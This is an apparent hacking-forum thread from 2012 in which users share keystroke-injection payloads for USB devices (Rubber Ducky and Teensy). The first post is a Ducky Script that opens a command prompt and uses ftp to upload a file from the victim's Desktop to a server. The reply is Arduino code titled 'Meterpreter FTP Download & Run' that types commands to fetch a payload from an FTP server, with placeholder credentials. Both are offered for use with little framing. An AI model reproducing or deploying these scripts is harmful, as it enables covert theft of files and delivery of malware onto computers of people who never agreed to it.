THE BOSS Posted December 6, 2012 Posted December 6, 2012 Hello this payload uploads a file using ftp please give me your feedback REM Upload file using FTPGUI RDELAY 200STRING cmdENTERDELAY 200STRING ftpENTERSTRING oENTERSTRING 127.0.0.1 21ENTERDELAY 5000STRING AdministratorENTERSTRING PASSWORDENTERDELAY 1000STRING put %USERNAME%\Desktop\File.txtENTERDELAY 5000STRING byeENTERSTRING exitENTER[/CODE] Quote
Mr-Protocol Posted December 6, 2012 Posted December 6, 2012 I did something like that for the Ducky v1 (Teensy). If I can find my script I'll share, it was a while ago. /* Meterpreter FTP Download & RunBy: Mr-Protocol*/int Pwned = 0;int ledPin = 11;void setup(){//initialize the digital pin as an ouput.pinMode(ledPin, OUTPUT);}void loop(){delay(20000);if (Pwned == 0){ digitalWrite(ledPin, HIGH); //set LED on CommandAtRunBar("cmd"); delay(500); Keyboard.print("cd C:\\Users\\Public\\Documents"); PressAndRelease(KEY_ENTER,1); delay(50); Keyboard.print("del payload.txt"); PressAndRelease(KEY_ENTER,1); //removes payload if it exists. Keyboard.print("ftp"); PressAndRelease(KEY_ENTER,1); Keyboard.print("open SERVER"); PressAndRelease(KEY_ENTER,1); delay(500); Keyboard.print("rubberducky"); PressAndRelease(KEY_ENTER,1); delay(50); Keyboard.print("USBHACKS"); PressAndRelease(KEY_ENTER,1); Keyboard.print("get payload.txt"); //Modify to meterpreter payload PressAndRelease(KEY_ENTER,1); delay(8000); //time for download estimated. Keyboard.print("quit"); //exit ftp client PressAndRelease(KEY_ENTER,1); Keyboard.print("notepad.exe payload.txt"); PressAndRelease(KEY_ENTER,1); Keyboard.print("exit"); PressAndRelease(KEY_ENTER,1); Pwned = 1;}digitalWrite(ledPin, LOW); //set LED off}void CommandAtRunBar(char *SomeCommand){Keyboard.set_modifier(128); //Windows keyKeyboard.set_key1(KEY_R); // use r keyKeyboard.send_now(); // send strokesKeyboard.set_modifier(0); //prep release of control keysKeyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.Keyboard.send_now(); //Send the key changesdelay(500);Keyboard.print(SomeCommand);Keyboard.set_key1(KEY_ENTER);Keyboard.send_now();Keyboard.set_key1(0);Keyboard.send_now();}void PressAndRelease(int KeyCode,int KeyCount){int KeyCounter=0;for (KeyCounter=0; KeyCounter!=KeyCount; KeyCounter++){Keyboard.set_key1(KeyCode); // use r keyKeyboard.send_now(); // send strokesKeyboard.set_key1(0);Keyboard.send_now(); // send strokes}}[/CODE]Was old code, too scatterbrained to want to finish it or test further lol. Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.